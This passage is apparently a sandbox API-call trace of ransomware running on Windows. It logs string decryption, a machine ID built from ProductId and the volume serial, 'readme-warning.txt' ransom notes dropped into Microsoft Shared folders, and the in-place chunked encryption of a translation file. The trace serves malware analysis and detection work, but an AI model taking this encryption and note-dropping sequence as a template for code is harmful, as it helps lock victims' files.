hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.354] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.354] GetProcessHeap () returned 0x2a0000 [0151.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.354] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.354] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.354] GetProcessHeap () returned 0x2a0000 [0151.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0151.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.354] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0151.354] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.354] GetProcessHeap () returned 0x2a0000 [0151.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.355] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.355] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.355] GetProcessHeap () returned 0x2a0000 [0151.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.355] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.355] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.355] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.355] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.355] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.355] RegCloseKey (hKey=0x118) returned 0x0 [0151.355] GetProcessHeap () returned 0x2a0000 [0151.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.355] GetProcessHeap () returned 0x2a0000 [0151.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.355] GetProcessHeap () returned 0x2a0000 [0151.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.355] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.355] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.356] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.356] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.356] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.356] GetProcessHeap () returned 0x2a0000 [0151.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.356] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.356] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.356] GetProcessHeap () returned 0x2a0000 [0151.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0151.356] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\readme-warning.txt") returned 83 [0151.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.359] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.361] CloseHandle (hObject=0x118) returned 1 [0151.361] GetProcessHeap () returned 0x2a0000 [0151.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0151.361] GetProcessHeap () returned 0x2a0000 [0151.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0151.361] GetProcessHeap () returned 0x2a0000 [0151.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.361] GetProcessHeap () returned 0x2a0000 [0151.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.361] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.362] GetProcessHeap () returned 0x2a0000 [0151.362] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.362] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0151.362] GetProcessHeap () returned 0x2a0000 [0151.362] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.362] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.362] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0151.362] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.362] GetProcessHeap () returned 0x2a0000 [0151.362] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.362] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.362] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0151.362] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.362] GetProcessHeap () returned 0x2a0000 [0151.362] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0151.362] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.362] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0151.362] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.363] GetProcessHeap () returned 0x2a0000 [0151.363] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.363] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.363] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0151.363] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.363] GetProcessHeap () returned 0x2a0000 [0151.363] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.363] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.363] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0151.363] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.363] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0151.363] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0151.363] RegCloseKey (hKey=0x114) returned 0x0 [0151.363] GetProcessHeap () returned 0x2a0000 [0151.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.363] GetProcessHeap () returned 0x2a0000 [0151.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.363] GetProcessHeap () returned 0x2a0000 [0151.363] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.364] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0151.364] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0151.364] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0151.364] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.364] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.364] GetProcessHeap () returned 0x2a0000 [0151.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.364] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.364] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.364] GetProcessHeap () returned 0x2a0000 [0151.364] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f5720 [0151.364] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\readme-warning.txt") returned 74 [0151.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0151.365] WriteFile (in: hFile=0x114, lpBuffer=0x2f5720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f5720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0151.366] CloseHandle (hObject=0x114) returned 1 [0151.366] GetProcessHeap () returned 0x2a0000 [0151.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.367] GetProcessHeap () returned 0x2a0000 [0151.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5720 | out: hHeap=0x2a0000) returned 1 [0151.367] GetProcessHeap () returned 0x2a0000 [0151.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.367] GetProcessHeap () returned 0x2a0000 [0151.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.367] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0151.367] GetProcessHeap () returned 0x2a0000 [0151.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0151.367] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0151.367] GetProcessHeap () returned 0x2a0000 [0151.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2f5738 [0151.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0151.373] GetProcessHeap () returned 0x2a0000 [0151.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0151.373] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.373] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARFR", cAlternateFileName="")) returned 1 [0151.373] GetProcessHeap () returned 0x2a0000 [0151.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x282) returned 0x2c7d48 [0151.373] GetProcessHeap () returned 0x2a0000 [0151.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.376] GetProcessHeap () returned 0x2a0000 [0151.376] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.376] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.376] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0151.376] GetProcessHeap () returned 0x2a0000 [0151.376] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0151.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.377] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x290eff8 | out: lpFileSize=0x290eff8*=1658904) returned 1 [0151.377] GetProcessHeap () returned 0x2a0000 [0151.377] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.377] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.377] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.377] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe4*=0x8, lpOverlapped=0x0) returned 1 [0151.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efe8 | out: phKey=0x290efe8*=0x2c63e0) returned 1 [0151.381] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.381] GetProcessHeap () returned 0x2a0000 [0151.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.381] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efc8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efc8*=0x40) returned 1 [0151.381] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.381] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe4*=0x40, lpOverlapped=0x0) returned 1 [0151.381] WriteFile (in: hFile=0x118, lpBuffer=0x290efec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x290efec*, lpNumberOfBytesWritten=0x290efe4*=0x4, lpOverlapped=0x0) returned 1 [0151.381] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe4*=0x10, lpOverlapped=0x0) returned 1 [0151.381] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe4*=0x80, lpOverlapped=0x0) returned 1 [0151.381] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.381] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe4, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe4*=0x8, lpOverlapped=0x0) returned 1 [0151.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efe8 | out: phKey=0x290efe8*=0x2c63e0) returned 1 [0151.382] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.382] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290efb8 | out: lpNewFilePointer=0x0) returned 1 [0151.382] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290efac, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290efac*=0x40000, lpOverlapped=0x0) returned 1 [0151.392] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000) returned 1 [0151.397] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.397] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efb0*=0x40000, lpOverlapped=0x0) returned 1 [0151.398] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.398] WriteFile (in: hFile=0x118, lpBuffer=0x290efb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x290efb8*, lpNumberOfBytesWritten=0x290efb0*=0x8, lpOverlapped=0x0) returned 1 [0151.399] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x290efb8 | out: lpNewFilePointer=0x0) returned 1 [0151.399] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290efac, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290efac*=0x40000, lpOverlapped=0x0) returned 1 [0151.408] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000) returned 1 [0151.411] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.411] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efb0*=0x40000, lpOverlapped=0x0) returned 1 [0151.412] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.412] WriteFile (in: hFile=0x118, lpBuffer=0x290efb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x290efb8*, lpNumberOfBytesWritten=0x290efb0*=0x8, lpOverlapped=0x0) returned 1 [0151.413] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x290efb8 | out: lpNewFilePointer=0x0) returned 1 